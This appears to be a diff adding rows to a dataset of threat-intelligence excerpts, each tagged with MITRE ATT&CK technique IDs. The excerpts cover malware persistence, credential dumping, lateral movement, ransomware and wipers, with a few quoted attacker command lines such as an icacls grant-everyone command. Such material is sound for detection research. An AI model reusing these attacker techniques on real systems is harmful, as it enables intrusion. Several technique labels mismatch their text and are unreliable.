+This extreme level of variance was also applied to non-executable entities, such as WMI persistence filter name, WMI filter query, passwords used for 7-zip archives, and names of output log files. Tools and binaries used by the attackers (e.g. ADFIND legit tool) were always renamed and placed in folders that mimicked existing programs and files already present on a machine. This blending was not just used for files, but for other elements. For example, WMI persistence filters were created with names and queries matching other scripts present in affected organizations. Before running intensive and continued hands-on keyboard activity, the attackers took care of disabling event logging using AUDITPOL and re-enabling it afterward. The firewall rules were also methodically removed after the network reconnaissance was completed. Lateral movement activities were never executed without preparation. To increase the likelihood that their activities remain undetected, the attackers first enumerated remote processes and services running on the target host and decided to move laterally only after disabling certain security services. We believe that the attackers used timestomping to change timestamps of artifacts and also leveraged professional wiping procedures and tools to complicate finding and recovering of DLL implants from affected environments	['T1047']
+The sample arrives as an app bundled in a Zip archive. It uses the icon for a Word document file as a disguise, attempting to pass itself off as a legitimate document file	['T1036.004']
+The majority of 2017 and 2018 Karagany samples analyzed by CTU researchers were packed using a custom packer, albeit a reasonably simple one that performs a number of binary shifts and logic operations. Karagany campaigns in 2016 and prior typically used the UPX packer as an additional layer of obfuscation, but this behavior was not observed in 2017-2018 samples. Breaking on this function call in a debugger allows an analyst to dump the process and extract the unpacked Karagany binary for further analysis	['T1027.002']
+Unlike a Docker engine that runs on a single host, a Kubernetes cluster typically contains more than one host and every host can run multiple containers. Given the abundant resources in a Kubernetes infrastructure, a hijacked Kubernetes cluster can be more profitable than a hijacked Docker host. This new TeamTNT malware campaign is one of the most complicated attacks targeting Kubernetes. This is also the most feature-rich malware we have seen from TeamTNT so far. In particular, the threat actor has developed more sophisticated tactics for initial access, execution, defense evasion and C2. Although the malware is still under development and the campaign is not yet widely spread, we believe the attacker will soon mature the tools and start a large-scale deployment	['T1133']
+OwaAuth is a web shell that is installed as an ISAPI filter on Exchange servers and shares characteristics with the ChinaChopper web shell. The OwaAuth web shell enables a threat actor to upload and download files, launch processes, and execute SQL queries	['T1036.005']
+The instrumentor script also performs a cleanup of the cookies for Google Chrome and Microsoft Edge browsers. This is done by simply terminating any browser processes running on the system and then deleting the cookie files on disk	['T1555.003']
+They renamed their files to make them look like legitimate files, for example, trilog.exe, named after a legitimate Schneider Electric application	['T1036.005']
+After a user logs on, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service, LSASS, process in memory. While you can prevent a Windows computer from creating the LM hash in the local computer SAM database (and the AD database), this doesn’t prevent the system from generating the LM hash in memory. By default, Windows Server 2008 and Windows Vista no longer generate LM hashes for users unless explicitly enabled. Starting with Windows 8.1 and Windows Server 2012 R2, the LM hash and “clear-text” password are no longer in memory. This functionality was also “back-ported” to earlier versions of Windows (Windows 7/8/2008R2/2012) in kb2871997, though in order to prevent the “clear-text” password from being placed in LSASS, the following registry key needs to be set to “0” (Digest Disabled	['T1098']
+Much like the known actors Miniduke or CommentCrew, it hides base64 encoded and encrypted control server locations in comments on legitimate web sites. However, unlike the previous actors, the encrypted data provides information about the next hop, or the true C2 for the backdoor, instead of initial commands	['T1102.001']
+Lateral movement began around 28 hours after initial entry, using SMB to drop a Cobalt Strike Beacon on a domain controller. From there, the threat actor used WMIC to execute the beacon	['T1021.002']
+Central Command network, including computers both in the headquarters and in the combat zones.The threat involved into this incident is referred as Agent.btz. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. Agent.btz file is not packed. Thus, it’s not known what kind of code could have been injected into the browser process. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.File wmcache.nldThe second spawned thread will wait for 10 seconds. The collected network details are also saved into the log file.File winview.ocxThe second spawned thread will log threat activity into the file %system32%\winview.ocx.This file is also encrypted with the same XOR mask. Posted by Sergei Shevchenko at Labels: Agent.btz Newer Post Older Post Home	['T1016']
+Seaduke delivery The attackers control Cozyduke via compromised websites, issuing instructions to infected machines by uploading “tasks” to a database file. Cozyduke will periodically contact these websites to retrieve task information to be executed on the local machine. One such task (an encoded PowerShell script) instructed Cozyduke to download and execute Seaduke from a compromised website	['T1059.001']
+After this data has been aggregated, it is uploaded to a hardcoded command and control (C2) server via HTTP. The data is embedded within the ‘Cookie’ HTTP header, as seen below	['T1071.001']
+"Persistence: Creates a Windows RUN registry key for persistence. The name of the key is: ""Dropbox Update Setup"". This name was consistent in all the samples. This key points to the location of the Python-compiled binary in the %appdata% directory to ensure that it is started automatically each time the system is rebooted"	['T1036.004', 'T1547.001']
+If you continue browsing the site, you agree to the use of cookies on this website. If you continue browsing the site, you agree to the use of cookies on this website. Home - Explore Submit Search . - Upload - Login - Signup - Upload - Home - Explore - Login - Signup Activate your 30 day free trial to unlock unlimited reading. Facebook - Twitter - LinkedIn - Share - Email - - No Easy Breach DerbyCon 2016 . 22 . Share . Download to read offline . Every IR presents unique challenges. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. All rights reserved.24 Our Response: Increased PowerShell Visibility • Upgraded the environment to PowerShell 3.0 and enabled logging • Logging captured input/output, variable initialization, etc. Captured entire functions of PS scripts, attacker commands, script output, etc. Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc. Unlimited Reading . Learn faster and smarter from top experts . Unlimited Downloading . Download to take your learnings offline and on the go . You also get free access to Scribd	['T1059.001']
+The samples install HTTPBrowser at %APPDATA%/wdm.exe. Persistence is established via the HKCUSoftwareMicrosoftWindowsCurrentVersionRun key value for wdm set to the path of the executable. Previous samples have set persistence via Run key values for 360v	['T1547.001']
+Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. Running in RAM Cobalt Strike modules aren't stored in the file system; their executable code can only be found in RAM. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. Bypassing network security Cobalt Strike allows users to install two types of modules: HTTP/HTTPS/DNS modules and SMB modules. Another module is installed even in systems that do not have Internet access, as, using SMB protocol (which is typically used within a local network), the SMB module is controlled via infected computers running the HTTP/HTTPS/DNS module. The Cobalt Strike module can use several profiles and switch between data exchange methods on command from the C&C server without the need to update the module. Connect to another computer using PsExec.exe (the remote access program is included in the Microsoft SysInternals suite), copy the module, and run it; delete the module. Use of standard tools Cobalt Strike is publicly accessible, and can be downloaded in order to learn and create detection rules on the network. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed	['T1219']
+A configuration file resides in a file under the backdoor’s installation directory with the .bin extension. It contains commands in the same form as those listed in Table 2 that are automatically executed by the backdoor when it is started. These commands are also executed when the loadconfig command is issued. This file can be likened to a startup script for the backdoor. The state command sets a global variable containing a series of Boolean values represented as ASCII values ‘0’ or ‘1’ and also adds itself to the configuration file. Other than the state command, all commands in the configuration file are identified by their hash’s decimal value instead of their plain text name. Certain commands, when executed, add themselves to the configuration so they will persist across (or be part of) reboots. The loadconfig and state commands are executed during initialization, effectively creating the configuration file if it does not exist and writing the state command to it	['T1547.001']
+The payload contains an exploit for the unpatched local privilege escalation vulnerability CVE-2015-1701 in Microsoft Windows. The exploit uses CVE-2015-1701 to execute a callback in userspace. The callback gets the EPROCESS structures of the current process and the System process, and copies data from the System token into the token of the current process. Upon completion, the payload continues execution in usermode with the privileges of the System process	['T1134.001']
+Several days after that, on July 10, 2020, the attackers connected to the router via SSH and set up the PuTTy PSCP (the PuTTY Secure Copy client) utility on one of the infected machines. This utility was used to upload malware to the router VM. This enabled the attackers to place malware onto systems in the restricted segment of the enterprise network, using the router to host the samples. In addition, malware running in the network’s restricted segment was able to exfiltrate the collected data to the command-and-control server via the Apache server set up on the same router	['T1021.004']
+"If the process is running with Low integrity, REvil terminates the current process and launches another instance of itself via ShellExecute using the ""runas"" command, which executes the new instance with administrative rights"	['T1134.002']
+A Web Shell is a file containing backdoor functionality written in a web scripting language such ASP, ASPX, PHP or JSP. When a web shell is hosted on an internet facing victim system, an adversary can remotely access the system to perform malicious actions. Deep Panda is a China based threat group CrowdStrike has observed targeting companies in the defense, legal, telecommunication and financial industries. Crowdstrike has observed Deep Panda adopting web shells as their primary access back into a victim organization. This is an interesting shift as web shells have typically been seen as only a first stage into obtaining a persistent foothold in an environment. Previously, web shells were quickly abandoned once persistent second stage malware was successfully beaconing. Using a web shell as a primary backdoor gives Deep Panda several advantages	['T1505.003']
+The RDAT sample with the novel EWS C2 channel also had HTTP and DNS tunneling as C2 channels as well, which are very similar to other RDAT samples we collected. The HTTP C2 channel uses HTTP POST requests to transmit data to the C2 server	['T1030']
+We have identified 127 different domains used to host Silent Librarian phishing sites since 2013. Like a growing number of phishing sites, domains registered by Silent Librarian generally use Freenom top-level domains (TLDs) (.TK, . CF, .GA, .GQ, .ML) because they are available at no cost. The group has used domains on other TLDs, though rather sparingly. Some of the other recent TLDs associated with Silent Librarian domains include .IN, .IR, .INFO, .LINK, and .TOP	['T1583.001']
+One of the Cl0p variants encrypts the files by generating an RSA public key, retrieving its first 127 bytes and using them as the RC4 key, adding the Cl0p^_- header and the RC4 encrypting it again. Once the files are encrypted, the Cl0p extension will be added to each encrypted file	['T1486']
+The malicious payload associated with the campaign appears to be a new version of Zeus Panda, a banking trojan designed to stealing banking and other sensitive credentials for exfiltration by attackers. The overall operation of the Zeus Panda banking trojan has been well documented, however Talos wanted to provide additional information about the first stage packer used by the malware. The malware will first query the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects the any of the following keyboard mappings	['T1082']
+Additionally, Microsoft warned that this vulnerability could be used in the crafting of a wormable exploit. The Common Vulnerabilities and Exposures (CVE) site references this vulnerability as CVE-2008-4250	['T1210']
+Siloscape mimics CExecSvc.exe privileges by impersonating its main thread and then calls NtSetInformationSymbolicLink on a newly created symbolic link to break out of the container. More specifically, it links its local containerized X drive to the host’s C drive	['T1611']
+To check the host language, it queries the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language\ and the value InstallLanguage. If the machine has the value 0419 (Russian), 0422 (Ukrainian) or 0423 (Belarusian), it call ExitProcess to stop executing	['T1614.001']
+A custom executable that only contains the Metasploit shellcode. This is used to maintain access to a Meterpreter session. It is saved to C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msupdateconf.exe, granting the executable persistence. Another custom executable used to execute PowerShell scripts. The Mosquito JScript backdoor that uses Google Apps Script as its C&C server. Privilege escalation using the Metasploit module ext_server_priv.x86.dll [8	['T1059.001']
+After initialization, the code monitors browser activities, looking for online banking sessions. Once these are found, the malware enables the attacker to display an overlay window in front of the victim’s browser to manipulate the user’s session in the background. In this way, the fraudulent transaction is performed from the victim’s machine, making it harder to detect for anti-fraud solutions on the bank’s end. The criminal can also request specific information, asked during the bank transaction, such as a secondary password and token, bypassing two-factor authentication solutions adopted by the financial sector	['T1185', 'T1185']
+All the text files are now packed into the archive temp.zip (%temp%\temp.zip) - zip is Base64 encoded (with a custom key, same as that used in the malicious document) and then copied to post.txt - txt is uploaded to the control server	['T1560', 'T1074.001']
+Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks . Get Free Account . Join Now . Introduction . TeamTNT is a cybercrime group that targets cloud environments including Docker and Kubernetes instances. TeamTNT has also been spotted using a malicious Docker image which can be found on Docker Hub to infect its victims’ servers. The uniqueness of the recent attack observed by Intezer is the group abuses a legitimate open source tool called Weave Scope to gain full control over the victim’s cloud infrastructure. By installing a legitimate tool such as Weave Scope the attackers reap all the benefits as if they had installed a backdoor on the server, with significantly less effort and without needing to use malware. To install Weave Scope on the server the attackers use an exposed Docker API port and create a new privileged container with a clean Ubuntu image. Once installed, the attackers can connect to the Weave Scope dashboard via HTTP on port 4040 and gain full visibility and control over the victim’s infrastructure. To protect yourself from this attack we recommend to: - Close exposed Docker API ports: This attack takes advantage of a common misconfiguration of the Docker API which gives the attacker full control over the Docker service. Therefore, Docker API ports should be closed or contain restricted access policies in the firewall. Block incoming connections to port 4040: Weave Scope uses default port 4040 to make the dashboard accessible and anyone with access to the network can view the dashboard. Update from Weave Works . Weave Works has since provided this in-depth article on how to prevent malicious attacks using Weave Scope	['T1133']
+As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. After a few minutes, execute the malicious file on the system. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. Use an advanced endpoint threat detection (AETD) solution to monitor activity on network endpoints. Also implement strict security controls for privileged accounts such as Active Directory administrator to prevent access by an unauthorized user	['T1036.005']
+Upon initial execution, the Windows Registry is checked to determine if DarkWatchman has already been installed. The malware stores its configuration in ‘\\HKCU\Software\Microsoft\Windows\DWM\‘, using registry keys that consist of a uid generated from the serial number of the C: drive and appended with a single digit or character. Installation is denoted by uid + 0 (eg: abc1230) – if the malware does not find a ‘1‘ flag in this key, it runs its install function	['T1012']
+This variant uses an 8-byte XOR key to obfuscate API names and other strings within the payload (Figure 5). Figure 5: 8-Byte XOR Key for obfuscation	['T1027']
+TrailBlazer is a sophisticated malware family that provides modular functionality and a very low prevalence. TrailBlazer persists on a compromised host using WMI event subscriptions4 — a technique also used by SeaDuke — although this persistence mechanism is not exclusive to COZY BEAR.5	['T1001.001']
+A key trait of NOBELIUM’s ongoing activity over the last year has been the abuse of indirect paths and trust relationships to target and gain access to victims of interest for intelligence gain. In the most recent campaign, this has manifested in a compromise-one-to-compromise-many approach—exploiting the service providers’ trust chain to gain broad access to multiple customer tenants for subsequent attacks. NOBELIUM leverages established standard business practices, to target downstream customers across multiple managed tenants. These delegated administrative privileges are often neither audited for approved use nor disabled by a service provider or downstream customer once use has ended, leaving them active until removed by the administrators. If NOBELIUM has compromised the accounts tied to delegated administrative privileges through other credential-stealing attacks, that access grants actors like NOBELIUM persistence for ongoing campaigns	['T1199']
+To avoid being run in sandboxes and emulators, all MegaCortex versions implement file encryption threading based on querying for the number of CPUs in the system. All MegaCortex versions can detect if the binary is running with administrator privileges	['T1497.001']
+GALLIUM primarily relies on compromised domain credentials to move through the target network, and as outlined above, uses several credential harvesting tools. Once they have acquired credentials, the activity group uses PsExec extensively to move laterally between hosts in the target network	['T1570']
+Before being hashed, the character “0” or “1” is appended to the return value indicating root privileges. This clientID is stored in /Library/Storage/File System/HFS/25cf5d02-e50b-4288-870a-528d56c3cf6e/pivtoken.appex if the code runs as root, or in ~/Library/SmartCardsServices/Technology/PlugIns/drivers/snippets.ecgML otherwise. This file is normally hidden via the _chflags function and its timestamp is modified using the “touch –t” command with a random value	['T1070.006']
+After dropping these files to its working directory, the malware attempts to change the attributes of all the files to “hidden” and grant full access to all files in the current directory and any directories below. It does this by executing “attrib +h .”, followed by “icacls . /grant Everyone:F /T /C /Q	['T1222.001']
+The actors used valid credentials obtained using MimiKatz variants to escalate privileges. We’ve observed Mimikatz being executed both from the file system of victim hosts and via PowerShell cmdlets executed via Cobalt Strike BEACON. Actors have gained access to credentials via exported copies of the ntds.dit Active Directory database and SYSTEM and SECURITY registry hives from a Domain Controller	['T1003.003']
+We analyzed a new RATANKBA variant that uses a PowerShell script instead of its more traditional PE executable form	['T1059.001']
+The story of a Linux miner bundled with pirated copies of VST (Virtual Studio Technology) software for Windows and macOS	['T1189']
+FIVEHANDS can receive a CLI argument for a path, this limits the ransomware's file encryption activities to the specified directory. DEATHRANSOM and HELLOKITTY do not accept CLI arguments	['T1059']
+TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\SOFTWARE\Microsoft\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. We believe that this was used to execute a customized Cobalt Strike BEACON	['T1027', 'T1140']
+However the application is not a service of Yahoo or a legitimate product of McAfee, but a rogue application used by Pawn Storm. Clicking on the “Agree” button would give Pawn Storm an OAuth token and access to the targets’ mailbox. The group then gains access to the mailbox until the token gets revoked by the service provider or the target	['T1550.001']
+If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3	['T1218.011']
+Command_Create&Inject: This command creates a new process (using a supplied filename as the process name) and then injects malicious code into it	['T1055']
+In order to encrypt network shares, BitPaymer will attempt to enumerate the sessions for each user logged onto the infected host and create a new process, using the token of each user. For each host, BitPaymer spawns another net.exe process with command net view <host> using the newly discovered host as a parameter. This will return a list of network shares available to the impersonated user on the host. Once a list of all available shares has been gathered, BitPaymer attempts to mount them to be encrypted	['T1087.001']
+The threat actors used scripts to create local administrator accounts disguised as legitimate backup accounts. The initial script “symantec_help.jsp” contained a one-line reference to a malicious script designed to create the local administrator account and manipulate the firewall for remote access	['T1036']
+"This file is a USB file stealer which can be also guessed by its internal name ""USBgrabber.dll"". However, the implementation is sloppy which makes it a file stealer for any newly connected logical volume on a system. This is because the malware monitors the computer for messages WM_COMMAND and WM_DEVICECHANGE, but not verifying if a USB drive was connected"	['T1025']
+"The job of the smaller of the two JavaScripts is to establish a system autostart mechanism. It accomplishes this by deobfuscating another script, link.js, into %TMP%. Link.js in turn creates a shortcut file ""Java(TM) Platform SE Auto Updater.lnk"" in the ""Startup"" special folder pointing to the main backdoor JavaScript"	['T1547.001', 'T1547.009']
+After the deletion process, the malware gets the function “Wow64RevertWow64FsRedirection” using the function “GetProcAddress” and calls it in a dynamic way to leave the system in the same state as before	['T1070']
+"The ""Office Test"" persistence mechanism allows threat actors to execute a Trojan each time a user runs any of the Office applications. This persistence mechanism loads a malicious DLL by leveraging a registry key that appears to be used during the development and testing of Microsoft Office applications. The use of this registry key for persistence is quite clever, as it requires user interaction to load and execute the malicious payload, which makes automated analysis in sandboxes challenging. Low awareness of this persistence method, coupled with the sandbox evasion obtained from user interactions, makes this a potentially attractive persistence method that we believe may be used in future attacks. Unit 42 suggests monitoring for systems that have this registry key already created, as it is possible a threat is already using the key for persistence purposes. Microsoft has added the “Office Test” registry keys to its Autoruns tool for detection purposes as well. Also, we suggest disabling this persistence method by creating the “Office test” registry key in read-only mode as outlined in this blog"	['T1137.002']
+The malware performs COM hijacking by setting the path to itself to the HKCU\Software\Classes\Folder\shell\open\command key with a DelegateExecute parameter	['T1546.015']
+The plugin begins by collecting the username of the running process, and determining if it is running under the SYSTEM account. If running as SYSTEM, the plugin will associate the active desktop with the plugin’s thread	['T1033']
+Figure 5: Registry Activity The script then determines the version of Powershell that is being used on the infected system. If the switch associated with the execution of Stage 3 was passed to the 'pre_logic' function at the beginning of this stage, the Stage 3 payload will then be executed immediately	['T1564.004']
+When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections	['T1140', 'T1027.001']
+This process executes a command to maliciously use the legitimate wmic.exe to initialize an XSL Script Processing (MITRE Technique T1220) attack. The attack executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain (qnccmvbrh.wilstonbrwsaq[.]pw	['T1220']
+An additional batch script named “dirsb.bat” was used to gather folder and file names from hosts on the network	['T1083']
+The malware can be instructed to search for recently-used documents or other interesting files. It can monitor specific directories and removable devices, report any changes and exfiltrate files of the attackers’ choice	['T1083']
+The WhiteBear binary loader maintains several features including two injection methods for its (oddly named) “KernelInjector” subsystem, also named by its developer – Standart – WindowInject (includes an unusual technique for remotely placing code into memory for subsequent thread execution	['T1055.003']
+The malware then focuses on corrupting the first 512 bytes, the Master Boot Record (MBR) for every Physical Drive. While that should be enough for the device not to boot again, HermeticWiper proceeds to enumerate the partitions for all possible drives	['T1561.002']
+The lnk file (WindowsUpdateConf.lnk) executes “C:\Windows\system32\wuauclt.exe” /UpdateDeploymentProvider C:\Wíndows\system32\wuaueng.dll /RunHandlerComServer. This is an interesting technique used by Lazarus to run its malicious DLL using the Windows Update Client to bypass security detection mechanisms	['T1218']
+While the most recent samples observed still use batch scripts and SFX files, the Gamaredon Group has moved away from applications like wget, Remote Manipulator Tool, VNC and ChkFlsh.exe. Instead of using wget the attackers are distributing custom developed downloaders, and instead of Remote Manipulator or VNC the malware is using a custom developed remote access implant	['T1059.003']
+One of the documents is called “همبستگی عاشقانه با عاشقان آزادی2.doc” (translates from Persian as “Romantic Solidarity With Lovers of Freedom2.doc”) and contains malicious macros that are accompanied by an odd decoy message attempting to convince the victim to enable its content	['T1204.002']
+Once the attacker gained access to the network with compromised credentials, they moved laterally using multiple different credentials. The credentials used for lateral movement were always different from those used for remote access	['T1078']
+The OilRig group maintains their persistent attacks against government entities in the Middle East region using previously identified tools and tactics. In this instance a spear phishing email was used containing a lure designed to socially engineer and entice the victim to executing a malicious attachment. The attachment was identified as a variant of the OopsIE trojan we identified in February 2018. In this iteration of OopsIE, the general functionality largely remained the same but contained the addition of anti-analysis and anti-virtual machine capabilities to further evade detection from automated defensive systems. Attack Details In July 2018, we reported on a wave of OilRig attacks delivering a tool called QUADAGENT involving a Middle Eastern government agency. During that wave, we also observed OilRig leveraging additional compromised email accounts at the same government organization to send spear phishing emails delivering the OopsIE trojan as the payload instead of QUADAGENT. The OopsIE attack also targeted a government agency within the same nation state, though a different organization than the one targeted delivering QUADAGENT. The email subject was in Arabic, which translated to “Business continuity management training”. The email was sent to an address belonging to a user group, rather than a specific individual’s email address. Evasion Techniques The OopsIE variant delivered in this attack begins its execution by performing a series of anti-VM and sandbox checks. If any of the checks described in Table 1 are successful, the Trojan will exit without running any of its functional code	['T1497.001']
+This function converts the given domain to “backdoor”, which can be used to login to the tenant as any user. See Open-AADIntOffice365Portal to use the backdoor	['T1484']
+We believe that the injected script came from the Andariel group since the code has similar obfuscation and structure to the sample we previously found from them. The script was used to collect information from visitors’ browser: browser type, system language, Flash Player version, Silverlight version, and multiple ActiveX objects	['T1592.002']
+As you can see from the VBScript file, the commands in the script are invoked using the wscript shell. It does two things: it creates a “RunOnce” key in the registry so that the VBScript is executed each time the user logs on the machine (indicating persistence) and second, the VBScript runs the executable file “firefox.exe	['T1547.001']
+The task is used to start an IronPython script with the 64-bit version of the interpreter. However, the key didn’t decrypt on any of the embedded files in the scripts we found. The task’s description is PythonUpdateSrvc and it runs either on Windows startup when a user logs in or when one of two system events get created	['T1053.005']
+Modify the shortcut that launches Telegram by replacing its path to the one corresponding to ‘exe’, as outlined below	['T1518', 'T1547.009']
+We also identified a Tomiris variant (internally named “SBZ”, MD5 51AA89452A9E57F646AB64BE6217788E) which acts as a filestealer, and uploads any recent file matching a hardcoded set of extensions (.doc, .docx, .pdf, .rar, etc. to the C2	['T1041']
+The loader performs a last check to ensure that the operating systems keyboard and language settings are not set to Russian and creates a mutex with a hardcoded name ‘ld_201127’. The latter is to avoid double execution of its own instance	['T1614.001']
+The phishing messages were found to contain a Microsoft Word document attachment that uses VBA macros to install LookBack malware. When the attachment is executed, the malicious VBA macro within the Microsoft Word attachment drops three Privacy Enhanced Mail (PEM) files to the host: tempgup.txt, tempgup2.txt, and tempsodom.txt. Additionally, the file Temptcm.tmp, which is a version of certutil.exe, is dropped to decode the PEM files using Temptcm.tmp. The macro next creates a copy of the decoded PEM files restoring their proper file extensions with the Windows essentuti.exe. Finally, the macro launches GUP.exe and the libcurl.dll loader separately, resulting in the execution of LookBack malware	['T1059.005']
+The payload file also checks for the Logmein event log in an attempt to encrypt files in remote machines or servers connected to the victim’s machine. The path to the log file is hard-coded in the payload file, as shown here	['T1219']
+Here, we show an example of a PDF campaign as seen from the point of view of the affected user. This malicious PDF only contains a URL to entice the user to view the file. If the user chooses to click on the URL link and to read the actual content of the file, the browser will open a legitimate Google location which will redirect the browser to a malicious document. Browser redirection Finally, the malicious Word document is opened and the VBA macro code is run after the user allows for the editing of the content within Word. This eventually kickstarts the rest of the infection chain, terminates the Word process to hide the original file and opens a new Word instance to display a non-malicious decoy document dropped to the disk drive by one of the previous stages. Malicious Word document The decoy document remains constant throughout the campaign and is likely a side effect of the Threadkit exploit toolkit and cannot be relied upon for attribution. Decoy document opened in Word	['T1059.005']
+It then allocates a buffer with PAGE_EXECUTE_READWRITE protection to store the decrypted code. After the buffers are allocated, the packer checks if a string argument, which will be used as a decryption key, was passed to the AddByGod function. Next, the packer uses the AES256 algorithm with a SHA1 derived key of the passed argument to decrypt the encrypted code. If the decryption is successful, the decrypted code is executed and a second stage payload runs. Luckily, we managed to obtain the password that was needed to execute the binary and decrypt the encrypted payload	['T1140']
+It also turns off the Windows Security Center service to prevent alerting the user about the disabled firewall	['T1562.001']
+Further into the infection process, the malware chooses a service name randomly from netsvc in order to use it for the payload creation path. The malware then creates a file named bcdbootinfo.tlp in the system folder containing the infection time and the random service name that is chosen	['T1036.005']
+AQUATIC PANDA continued their reconnaissance from the host, using native OS binaries to understand current privilege levels as well as system and domain details	['T1082']
+While the logo and commands are identical to the original hacktool, the name was changed to OrangeTeghal. To evade security software while deploying this tool on compromised systems, the attackers use a technique revealed at Black Hat EU ‘17 in the presentation Lost in Transaction: Process Doppelgänging. Process Doppelgänging uses NTFS transactions to modify the executable of a seemingly benign process that is suspended right after creation	['T1055.013']
+"Talos has identified two different infection vectors associated with this particular campaign. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. In the first scenario, Talos discovered a document named ""MinutesofMeeting-2May19.docx"", that appeared to display the national flag of Jordan"	['T1059.003']
+ScreenCapture: It takes screenshots of the infected machine - Download Secondary Payloads: It downloads additional plugins and other malware - Enterprise-aware: It targets administrators and enterprises networks - Infiltrates the Exchange Server: It collects and steal sensitive information from the Microsoft Exchange mail system, including credentials and the domain certificate	['T1114.002']
+Other security researchers have tracked these malware families under the names BazarLoader and BazarBackdoor or Team9. This document contains an in-line link to a URL hosting a malware payload. When clicked, these links download malware binaries with file names masquerading as document files. In recent campaigns, the malware payloads have been hosted on numerous URLs associated with one or more of these legitimate services. In addition to the use of common post-exploitation frameworks such as Cobalt Strike, Metasploit and EMPIRE, we have observed the use of other backdoors, including ANCHOR, that we also believe to be under control of the actors behind TrickBot. The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. In addition to the use of common post-exploitation frameworks, lateral movement has also been achieved using WMIC commands and the Windows RDP and SMB protocols. The actors have used Cobalt Strike BEACON to exfiltrate data created through network reconnaissance activities as well as user files. Although it is a low fidelity indicator, ANCHOR activity may also sometimes be identified by searching for binaries within the C:\Windows\SysWOW64 directory that have a file name matching the following pattern: <8 random lowercase chars>.exe. Stacking or sorting on file creation timestamps in the C:\Windows\SysWOW64 directory may also help identify malicious files, as the directory should be mostly static	['T1036.004']
+X-Force IRIS found that the SDBbot RAT installers are x64-packed and decrypt parts of SDBbot’s code and strings upon execution. In addition, they read a binary blob located within the registry HKLM\\MACHINE\\SOFTWARE\\Microsoft\\[3 characters]\[1 character]. Depending on user privileges, a binary blog is located in the registry value. If regular user privileges are running, the installer component will establish persistence using the registry Run and execute ordinal #1 of the DLL	['T1547.001']
+In some instances, we have also seen the RemcosRAT malware family delivered as the final payload. Additionally, the process attempts to lower the overall security of the system by disabling security features in Microsoft Office and Windows Defender	['T1562.001']
+Following the reconnaissance phase, the threat actor attempted to dump credentials stored on the compromised machines. The most common credential stealing tool used by the threat actor was a modified mimikatz that dumps NTLM hashes. The dumped hashes were used to authenticate to other machines via pass the hash	['T1550.002']
+"The attack targeted at least one organization in Saudi Arabia, which aligns with the targeting of the initial Shamoon attacks. It appears the purpose of the new Disttrack samples were solely focused on destruction, as the samples were configured with a non-operational C2 server to report to and were set to begin wiping data exactly on 2016/11/17 20:45. Disttrack uses the internal domain names and credentials to log into remote systems on the same network segment. The dropper then attempts to open the service manager on each remote system to start the RemoteRegistry service, which it will connect to using RegConnectRegistryW. The dropper then checks to see if it has administrator privileges on the remote system by attempting to open ""\system32\csrss.exe"", which allows it to determine if it can write its payload to the ""\system32"" folder on the remote system. Scheduled tasks require a time in which the task will run, which the dropper determines by calling the function NetRemoteTOD to obtain the time of day from the remote system. While completely speculative, the word “shinu” used as a parameter could be a reference to the Arabic slang for the word “what”, as well as a reference to a village name in northwestern Iran. It appears that the “drdisk.sys” driver (SHA256: 4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6) is the exact same driver as used in the Shamoon attack in 2012. During this activity, we noticed the wiper changing the system time to August 2012, as the temporary license key for the RawDisk driver requires the system time to not exceed the month of August, which is when the temporary license would expire. The current attack campaign has several TTP overlaps with the original Shamoon campaign, especially from a targeting and timing perspective"	['T1036.004']
+Finally, the payloads were almost never repeated. The threat actor made sure that each payload had a unique hash, and some payloads were packed using different types of packers, both known and custom	['T1027.005', 'T1027.002']
+"txt,log} and is also a ""cryptojacker,"" which is a tool that uses a victim’s computer to mine cryptocurrency. Nirsoft SniffPass is capable of obtaining passwords sent over non-secure protocols"	['T1040']
